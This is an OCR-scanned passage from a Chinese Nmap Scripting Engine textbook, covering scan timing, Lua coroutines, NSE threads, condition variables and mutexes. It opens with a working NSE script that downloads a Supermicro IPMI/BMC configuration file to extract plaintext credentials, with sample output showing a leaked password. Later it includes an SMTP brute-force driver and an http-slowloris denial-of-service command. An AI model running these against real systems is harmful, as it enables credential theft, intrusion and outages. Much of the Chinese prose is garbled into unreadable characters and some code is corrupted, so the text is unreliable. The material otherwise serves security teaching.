TR LwiRER, SR H TR TR ) state % BN vulns. STATE.NOT VULN, 2 )54 4
K /PSBlock UM, FXF HARME N HEATR A, Q0545 2 0 [l 02— AN Al B SCfF, AL
WX SRR FE BN E, AR5 I A9 state 352 B A vulns. STATE.EXPLOIT, #t)5i& [F
vulns.Report:make output() RREHIZE R .

action = function (host, port)

local fw = stdNSE.get script args (SCRIPT NAME..".out") or host.ip.." bmc.
conf™

local wvuln = {

title = 'Supermicro IPMI/BMC configuration file disclosure’',
state = vulns.STATE.NOT VULN,
description = [[

Some Supermicro IPMI/BMC controllers allow attackers to download

a configuration file containing plain text user credentials. This credentials
may be used

to log in to the administrative interface and the
network's Active Directorvy.]],
references = {
"http://blog.cari.net/carisirt-yet-another-bmc-vulnerability-and-
some—-added-
extras/"',
}.I’
dates = {
disclosure = {year = '2014', month = '06', day = '19'},
b

local vuln report = wvulns.Report:new (SCRIPT NAME, host, port)
local open session = http.get(host.ip, port, "/PSBlock")

if open session and open session.status ==200 and string.len(open session.
body)>200 then

s = open_ session.body:gsub("%z", ".")
vuln.state = vulns.STATE.,EXPLOIT

vuln.extra info = "Snippet from configuration file:\n"..string.sub(s, 25, 200)
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local status, err = write file(fw,s)
if status then

extra info = string.format ("\nConfiguration file saved to '%s'\n", fw)
else

stdNSE.debug(l, "Error saving configuration file to '%s': %s\n", fw, err)
end
vuln.extra info = "Snippet from configuration file:\n"..string.sub(s, 25,

200) ..extra info
end
return vuln report:make output (vuln)

end

BTE, WARXT— A IR IPMIBMC £l dr i i, Al LASEIan F455R
PORT STATE SERVICE REASON

49152/tcp open unknown syn-ack

| supermicro-ipmi-conf:
I VULNERABLE:
| Supermicro IPMI/BMC configuration file disclosure
| State: VULNERARLE (Exploitable)
| Description:
| Some Supermicro IPMI/BMC controllers allow attackers to download
| a configuration file containing plain text user credentials. This
credentials may be used to log in to the administrative interface and the
network's Active Directory.
Disclosure date: 2014-06-19
Extra information:
Snippet from configuration file:

............. 3lspring....eeeeeeeA\x1l4. ... 0. ... AX0IAXOIAXOL L AXOL .. L. LN
X01ADMIN. ..o v v ThIsIsApAsSwWOrD. ... i B A\x01\x01\x01-
Ax01...... A\xOlipmi............ wO0tE! . ... 1 I S

| Configuration file saved to 'XXX.XXX.XXX.xxx bmc.conf'

|References:

| http://blog.cari.net/carisirt-yet-another-bmc-vulnerability-and-

some-added-extras/

Ih&;

A E Sz 3] G4 {8E ] NSE rh Zh 858 KB4 PR SCHA SR IT A 25 b RIA o 368 2ok 3 2 A ] LAY
A R TR FORS 1), FeATTRF Real VNC il 55 s B IAIESE i . Windows SMB., OpenSSL )
Heartbleed . IPMI/BMC | g & SO X LN RTE AT 7 AT &, B0 %ERE 1 il A
H RS, 7o, EX—FEPd2E3 T valns FESCHRMER, XA S0 AT DL B R
WA RIS B o
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F16E
16 NSE BIFH&#H1T

NSE A BRI 4% B8 Lua B BRLRRYLEI AT . Ad NSE X2 FIF 0T, X —
=, BN NSE U sL i A $47 .

ARERGEAN BN .

Q Lua 1% 5 'Y coroutine.

Q FHAE,

Q Hf%H.

Q NSE Z#%.

Q e H I E] I & oy HAhsZ e N 2 .

FEX—F T, BF52 % Lua A NSE H3F A AT A2 o [RIBRRE T8 2S5 /& A
e HE . T HEHRE LXK T Nmap F R AP TEEH1 .

16.1 Nmap ‘P iIFR AT
Nmap HrERI: & A Xl 4 AT T

A --min-hostgroup
A --max-hostgroup
A --min-parallelism
Q

--max-parallelism
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Nmap ¥ ZA> Hr 1P #uhik 25 6] 4 sEEH A, RI5FEFE—Bf R X — N HEH A T3
hostgroup {3 T — 14, Z%( --min-hostgroup #1 --max-hostgroup # & | X1
HrpZE W PR ER, %, —TAMBAPHEEELR, A, FEEEN
2, RSB HAMES R A SRMEFEVEME R, ol M a9 77 2ok B i
)BT

Nmap -sC -F --min-hostgroup 500 <target>

Nmap -sC -F --max-hostgroup 100 <target>
Nmap -sC -F --min-hostgroup 500 --max-hostgroup 800 <target>

—min-parallelism<milliseconds> #ll --max-parallelism <millseconds> ¥ ] T~ Nmap #1714
i [va] — B 1) A 26 A i SO, i ml DAFS X [l — )R] 2220 &2 3% 500 NS .

Nmap -sC -F --min-parallelism 500 <target>

BAN, WH — SRR B A4S, 4N http-slowloris.NSE 7& $47 B} 75 B 1% i€ 2 % --max-
parallelism LUJF A BBIE R TAE, X B LURZ [F—BE] &% 400 MRICHBIHETTA4

Nmap -p80 --script http-slowloris --max-parallelism 400 <target>

16.2 Nmap H 1) I 7

AR EEFEAHIE AN 4 M SEBENZE NZ /D, FIK Nmap 2t T —F
Hf e AR 2, ( Timing templates) B TAE A 20, BHEXTIX 4 NS B4 E R AR, Nmap H
PRAE 6 FhEf FPAR =, AT LU FHIETI -T[0-5] Sk Somf P ik,

——————————————— Timing report —--————-——-—————-—-—-
hostgroups: min 1, max 100000
rtt-timeouts: init 500, min 100, max 1250
max-scan-delay: TCP 10, UDP 1000, SCTP 10
parallelism: min 0, max 0
max-retries: 6, host-timeout: 0
min-rate: 0, max-rate: 0

X LER PR CBR T X P AN R B 71, i nT LA R 0 44 B9 ORI e 50 . il
W -T1 5044 2 Sneaky, -T5 H544 & Insane.

Sneaky (-1): This generates the following report:
--------------- Timing report -—-——-——-——-————-——-
hostgroups: min 1, max 100000
rtt-timeouts: init 15000, min 100, max 15000
max-scan-delay: TCP 1000, UDP 1000, SCTP 1000
parallelism: min 0, max 1
max-retries: 10, host-timeout: O
min-rate: 0, max-rate: 0
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Insane (-5): This generates the following report:
——————————————— Timing report —-—-——————-—-—-——--—-
hostgroups: min 1, max 100000
rtt-timeocuts: init 250, min 50, max 300
max-scan-delay: TCP 5, UDP 1000, SCTP 5
parallelism: min 0, max O
max-retries: 2, host-timeout: 900000
min-rate: 0, max-rate: 0

16.3 Lua "PJF R AT

TEIX—HP 0 EEA A Lua 155 TRIIF AT, Lua 155 12K coroutine FY 77 ZR LB IT
KT o

coroutine J& Lua FH)—FPIEH LA LIGRE, HAEARFIHER LI RPITZ2ES . B—
A coroutine TEHATHIERA A CHIHERL . coroutine 5L G I FEHAT A — S H BRI,
coroutine fEFAATHS AT DASCEE R OB 9L, H 2 a0 v B B0 Dt AT I B9 A5 BT
o HSLTEARATH— P utEI B R, HEIEPATHRA —MESF o XA DA W b 38 T4 T

RESC L 22402 .

Lua #LxE —> coroutine Al BEFPIRZA T =Fh.

Q 1217 (running)

Q 15 (suspended)

Q HT- (dead)

coroutine 31T 7T LA 1 BR %X coroutine.yield() #1 coroutine.resume() . F 4 H T —
Y5 coroutine AJ PASE R A #RAE .

Q coroutine.create(f): X~ EREH M 5E X coroutine FYEIHE TAE,

Q coroutine.resume (co [, vall, - - - ]) : X~ pRECH AR 5E K coroutine AR NET1548 K

1517,

Q coroutine.running(): X EREGR [P 24 { IEAEPATH coroutine.

Q coroutine.status(co): X PRZE [H] coroutine FIARZS .

Q coroutine.wrap(f): X/~ %5 coroutine.create() Fl coroutine.resume() HJ4EFHEEASAHA] .

Q coroutine.yield( - - -): XAPREHHE 15 coroutine,

T %5 H T —2E coroutine PATHY LM, BARLERANT .

H B 1 . f#H coroutine.create() Bl & —> coroutine, iX“J> coroutine A — PHEF R AL,
[ SEEE T2 1 ~ 5 BYFT ERa HY A5 55— coroutine,

col = coroutine.create
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function ()
for 1 = 1, 5 do
print ("coroutine #1:"..1i)
coroutine.yield(co2)
end
end

)
S8 2. [AER T, G185 —1 coroutine, {#iH co2 YE N coroutine H)44F

coZ2 = coroutine.create (
function ()
for 1 = 1, 5 do
print ("coroutine #2:"..1)
coroutine.yield(col)
end
end

)
S 3: [P EFRRIZTTIX I coroutine.

for 1 =1, 5 do
coroutine.resume (col)
coroutine.resume (co2)

end
. i — . g =
XA A B 5 Se AR an &l 16-1 Fron (GX B ERAEH T SciTE 58 4 Lua IASHIHAT) -
o C:\Program Files (x86)\Lua\5.1\examples\bisect.lua - Sci...L — M
Eile Edit Search View Tools Options Language Buffers
Debug Help
Do & { 2R Qo b Hms| @] =8 H
1 #! /opt/local/bin/lua
2 -col = coroutine.create(
3 - function()
4 - : for i = 1, 5 do
| 5 : i print(“coroutine #1:"..1)
6 : coroutine.yield(co2) 1
7 i end
8 end
9 )
10 -co02 = coroutine.create(
11 - function()
12 - i for i =1, 5 do
13 E i print(“coroutine #2:"..1)
14 : : coroutine.yield(col)
15 1 end
16 end
17 )
18 -for i =1, 5 do
19 coroutine,resume(col)
20 coroutine.resume(co2)
21 end
22 |
L 1L L]
Ln: 22 Col: 1 Sel: 0 | Saved: 2016/11/3 2R L% 8:57:30 | [INS] [CR

K 16-1 XL coroutine F£/F
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PATXANEIAS, R A 16-2 Fras.

"1o.s5tdout:setvbut no
#1:1

#2:1

#1:
#2:
#1:
#2:
#1:
#2:

>lua -e
coroutine
coroutine
coroutine
coroutine
coroutine
coroutine
coroutine
coroutine
coroutine #1:
coroutine #2:
>Exit code: (

W e e L R R

"bisect. lua

< |

i |

Ln: 22 Col

:18el: 0 |

Saved: 2016/11/3 E83[0 & 8:57:30 | [INS] [CR

[ 3

N ARARE B X AR O BAR R AT R, A AR #EAT B 8, ] coroutine.

16-2 X coroutine F&FHIHATSE R

running() BRI IEFESAT Y RREL, B2 LS BUACRS An1&] 16-3 Fis .

& C:\Program Files (x86)\Lua\5.1\examples\bisect.lua - S:i.'II'.E E

5 e

Help

File Edit

Search View Tools QOptions Language Buffers Debug

D & +2RalQa¢| P HE3 @6 =8 7 |

=
L

e
O AU BN O W m O L B W

It 20

B B B B
TNl

#! /opt/local/bin/lua
- col = coroutine.create(

- function()

- : for i =1, 5 do
: : print(coroutine.running())
print("coroutine #1:"..1)
: coroutine.yield(co2)

: end
end

- €02 = coroutine.create(
- function()
- i for i =1, 5 do
: : print(coroutine.running())
print("coroutine #2:"..1)
: coroutine.yield(col)
i end
end
)
-for i =1, 5 do
coroutine.resume(col)
coroutine.resume(co2)
end

< |

I | k

Ln: 24 Col: 1 Sel: 0 |

Saved: 2016/11/3 ZE8AM0 5 9:04:01 | [INS] [CR+LI

NS

A 16-3 ks AL coroutine FEFF




516 & NSE RIHARIT « 233

XA Lua AT A 0% S an & 16-4 Fras,

>lua -e "jo.stdout:setvbuf 'no'" "bisect. lua"
thread: 004BDFE0

coroutine #1:1

thread: 004BC6D0O

coroutine #2:1

thread: 004BDF60

coroutine #1:2

thread: 004BC6DO

coroutine #2:2

thread: 004BDF60

coroutine #1:3

thread: 004BC6D0O —
coroutine #2:3
thread: 004BDF60
coroutine #1:4
thread: 004BC6D0O
coroutine #2:4
thread: 004BDF60
coroutine #1:5
thread; 004BCED0O
coroutine #2:5
>Exit code: 0

m

B 16-4 kS Y coroutine 27 H A 745 52

FEXT XA A S —F, ik seAE AT A9 o 78 o Bl I # Y coroutine AR, DA K
coroutine.yield() #/ERIZE R, W&l 16-5 fias.

LS

— — N
. C:\Program Files (x86)\Lua\5.1\examples\bisect.lua * SaiTE b@“
L ——— e
Eile Edit Search View Jools Options Language Buffers Debug Help
Ded & »2RQa i lEs @SSP 2P @
1 #1 /opt/Tocal/bin/Tua
2 -col = coroutine.create(
S - function()
4 - for i =1, 10 do
5 : print(“Coroutine #1 is "..coroutine.status(col))
6 print("Coroutine #2 is "..coroutine.status(co2))
7 print(“coroutine #1:"..1) v
g8 i coroutine.yield(co2)
9 end
10 end
11 )
12 - co2 = coroutine.create(
13 = - function()
14 - for i =1, 10 do
15 i print("Coroutine #1 1is "..coroutine.status(col))
16 : print("Coroutine #2 1is "..coroutine.status(co2))
17 : print("coroutine #2:"..1)
18 : coroutine.yield(col)
19 end
20 end
il 21 )
22 -for i =1, 10 do
23 coroutine.resume(col)
| 24 coroutine.resume(co2)
25 end
26 |
"
<« | i | ,
Ln: 26 Col: 1 Sel: 0 | Saved: 2016/11/3 ERAM0 4 9:04:01 | [INS] [CR+LF] |
@T—

K 16-5 FIRAFES B coroutine 27
XAFEFPATIISE R ANE] 16-6 .
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>lua -e "jo.stdout:setvbuf 'no’'" "bisect. lua”
Coroutine #1 1is running
Coroutine #2 is suspended
coroutine #1:1

Coroutine #1 is suspended
Coroutine #2 1is running
coroutine #2:1

Coroutine #1 is running
Coroutine #2 is suspended
coroutine #1:2

Coroutine #1 is suspended
Coroutine #2 1is running
coroutine #2:2

Coroutine #1 is running
Coroutine #2 1is suspended
coroutine #1:3

Coroutine #1 is suspended
Coroutine #2 1s running
coroutine #2:3

Coroutine #1 is running
Coroutine #2 is suspended
coroutine #1:4

Coroutine #1 is suspended
Coroutine #2 is running
coroutine #2:4

Coroutine #1 is running
Coroutine #2 is suspended
coroutine #1:5

Coroutine #1 is suspended
Coroutine #2 1is running
coroutine #2:5

>EXit code: 0

A 16-6 FHIRHBGHE I coroutine T FF FUA TR R

JE SCA stdNSE Fr A 5 11 stdNSE.base() J7 5 01 LA B R AT 47 # T f# coroutine, 111,
{ii H coroutine.status() ERECHL 7] LARERTH11E coroutine FARZS .

basethread = stdNSE.base ()

1f ( self.quit or coroutine.status(self.basethread) == 'dead' ) then
table.iNSErt (respoNSE queue, {false, { err = false, msg = "Quit
signalled by
crawler" } })
break
end

HEKEFRD —THF. 17— 45X SMTP iR 55 ) il 4 smtp-brute. NSE H 8] & T — >
table, X table P 174% T &1~ 1&8 17 1Y coroutine Z [8] B EE &, X i3 2 2 F| A coroutine.
running() PRECSCERIF o XA PACHS T s .

local brute = require "brute"

local coroutine = require "coroutine"
local creds = require "creds"

local shortport = require "shortport"
local smtp = require "smtp"

local stdNSE = require "stdNSE"

--— By using this connectionpool we don't need to reconnect the socket
-- for each attempt.
ConnectionPool = {}

Driver =



£ 16 & NSEHIHAEHRIT « 235

connect = function( self )
self.socket = ConnectionPool[coroutine.running/() ]
if ( not(self.socket) ) then
self.socket = smtp.connect(self.host, self.port, { ssl = true, recv before =
true })
if ( not(self.socket) ) then return false end
ConnectionPool [coroutine.running ()] = self.socket
end
return true
end,
login = function( self, username, password )
local status, err = smtp.login( self.socket, username, password, mech )
if ( status ) then
smtp.quit (self.socket)
ConnectionPool [coroutine.running ()] = nil
return true, creds.Account:new(username, password, creds.State.VALID)
end
if ( err:match(""ERROR: Failed to .*") ) then
self.socket:close()
ConnectionPool [coroutine.running ()] = nil
local err = brute.Error:new( err )
-- This might be temporary, set the retry flag
err:setRetry( true )
return false, err
end
return false, brute.Error:new( "Incorrect password" )
end,
—-— Disconnects from the server (release the connection object back to
-- the pool)
disconnect = function( self )
return true
end,

}
B X JRIA R et R 4l socket BEREVEST 1R HI#RAE

for , sock in pairs(ConnectionPool) do

sock:close ()
end

BACZLSERN 1 X Lua HIEEHATRINGE, T—17K0F5% NSE H 93 Z I THLHE]

16.4 NSE YR a1y

TEfE ] NSE AR R AT, HATEFZ BRI, HoF Nmap ZHRLERK, HZ
MAEALER AL RIA SO, i 2% R 28 B9 5E A S socket BBl S 173
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16.4.1 NSE FhfyFe
7E NSE 73f i sR %% stdNSE.new thread()stdNSE FE {43237 NSE ZRF2 i1 & .

stdNSE.new thread(func, argl, arg2, arg3, )
XA RS — 1230 func W2 — N EFEHER P PITHRE . THRE —BEHA kM)
HEEAERE, X =R TR

local stdNSE = require "stdNSE"

function funcl (host, port) -+ end
function func?2 (host, port) -+ end
function func3 (host, port) - end
action = function(host, port)

local threadl
local threadz
local thread3
while true do

stdNSE.new thread(funcl, host, port)
stdNSE.new thread(funcZ2, host, port)
stdNSE.new thread(func3, host, port)

if coroutine.status (threadl) == "dead" and coroutine.status (thread?2)
== "dead" and
coroutine.status (thread3) == "dead" then
break
end
stdNSE.sleep (1)
end
end

TET B P T M A EAERS, NSE BRI 3404 o NSE SR FH 2R A2
B BERAERIZBRR AT o

16.4.2 NSE Hf&4ET 8

£ NSE 28, ] LU A28 Bk il A f3R A T2 . A LA A Nmap API Fil
PR%T Nmap.condvar() £l — A8 & .

local MyCondVarFn = Nmap.condvar ("AnythingExceptBooleanNumberNil")

PR %X Nmap.condvar() FISEA] LUERBR T nil, f/REH . BUEE ISR MR, XfF
— A AEE ] LA T B E AL AE AN =1

O wait

Q broadcast

Q signal

X B f 2 A B SRR R P A7 E — S5 B R . S — 2T wait PREZ
Ja, ATLUIMAZIXASBAF b HBAS) h ) — AR 6 signal B )5, T LAMAGXASBAS
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Bk, SREIRAE AT, T broadcast W AT LMK A SRR AT -

local MyCondVar = Nmap.condvar ("GoToFail")

MyCondVar "wait"

R Web JEAT SRR A/, X BCH AT RASEEU BT A s fe i v la] o X Bef Ui ]
TN, AT X4 URL AIJiTA,

--Initializes the web crawler.
--This funcion extracts the initial set of links and
—-creates the subcrawlers that start processing these links.
--It waits until all the subcrawlers are done before quitting.
—-—@param uri URI string
--@param settings Options table
local function init crawler (host, port, uri)
stdNSE.print debug(l, "%s:[Subcrawler] Crawling URI '%s'", LIB NAME, uri)
local crawlers num = OPT_SUBCRAWLERS NUM
local co = {}
local condvar = Nmap.condvar (host)
init registry/()
--For consistency, transform initial URI to absolute form
if not( is url absolute(uri) ) then
local abs uri = url.absolute("http://"..stdNSE.get hostname (host), uri)
stdNSE.print debug (3, "%s:Starting URI '%s' became '%s'", LIB NAME, uri,

abs uri)
uri = abs uri
end
--Extracts links from given url
local urls = url extract(host, port, uri)

if #urls<=0 then
stdNSE.print debug(3, "%s:0 links found in %s", LIB NAME, uri)
Nmap.registry[LIB NAME] ["finished"] = true
return false
end
add unvisited uris (urls)
-—-Reduce the number of subcrawlers i1f the initial link list has less
-—- items than the number of subcrawlers
if tonumber (crawlers num) > #urls then
crawlers num = #urls
end
--Wake subcrawlers
for i=1l,crawlers num do
stdNSE.print debug (2, "%s:Creating subcrawler #%d", LIB NAME, i)
co[i] = stdNSE.new thread(init subcrawler, host, port)
end
repeat
condvar "wait";
for i, thread in pairs(co) do
if coroutine.status (thread) == "dead" then co[i] = nil end
end
until next(co) == nil;
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dump visited uris()

Nmap.registry[LIB NAME] ["finished"] = true
Nmap.registry[LIB NAME] ["running"] = false
end

16.4.3 NSE dfEFZTE

B2 NSE LA —FhALE],  FH R R A SRR 7E [R] — B a] Xof [6] — A B IR 2 AT
PeVE. BN, Nmap S BYEMRBIE X — 58, QR [E]— (8] A 24 gE R il B K
BT, Bl RES K4S R . NSE BT A8t n] DUF| B R 28 B SE AR AR fa i 2 His 7 —
A2

PR %Y Nmap.mutex() 1 LA — X RAENSH, XAXRATLUZER T nil, fi/RER, H
RIVLVAMNAARAE . T 1E{E ] Nmap.mutex() K818 — N H R A &,

local Nmap = require "Nmap"

action = function (host, port)

local Mutex = Nmap.mutex ("MY SCRIPT ID")
--now we do something with our mutex
End

ftf FH Nmap.mutex() €2 #pa %L, A LAMEH T 4 350

Q trylock

Q lock

A running

 done

T EACH 2 T ane] i B R AR R AR S T R o R — S

local Nmap = require "Nmap"
local mutex = Nmap.mutex ("AnyStringOrDatatypeExceptForNilNumbersBooleans")
function run crawler ()

end
function init ()
if Nmap.registry{SCRIPT NAME] .executed==nil then
run crawler ()
Nmap.registry[SCRIPT NAME].executed = true
end
end
action = function (host, port)
mutex "lock"
init ()
mutex "done"
end
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X BLJH H lock F1 done BRECKFH 1E PREL init() AUPET, PRUEZEARARTES 2] RA —AN A 1 58
Bz TT . XHRIFIAA —14 8 trylock B pRELESA B8 E — IR, ARSI IER S
F, XA R g2 37 2% [B]—A> false WIMEL. T 73 7h—1> lock BRELIAIE], B &—HFAF
HRIRAF XTI 1L

&

AFEHEE T T Nmap PRI ZRATILH], I REPEiA T 7 Lua 155 #1 NSE A QA
SEEFE A AT, MHGH T —s BARR LR, @It AT, ATLUE SR A|H RS 7R,
B G- e A8 PR T IR IR A A o
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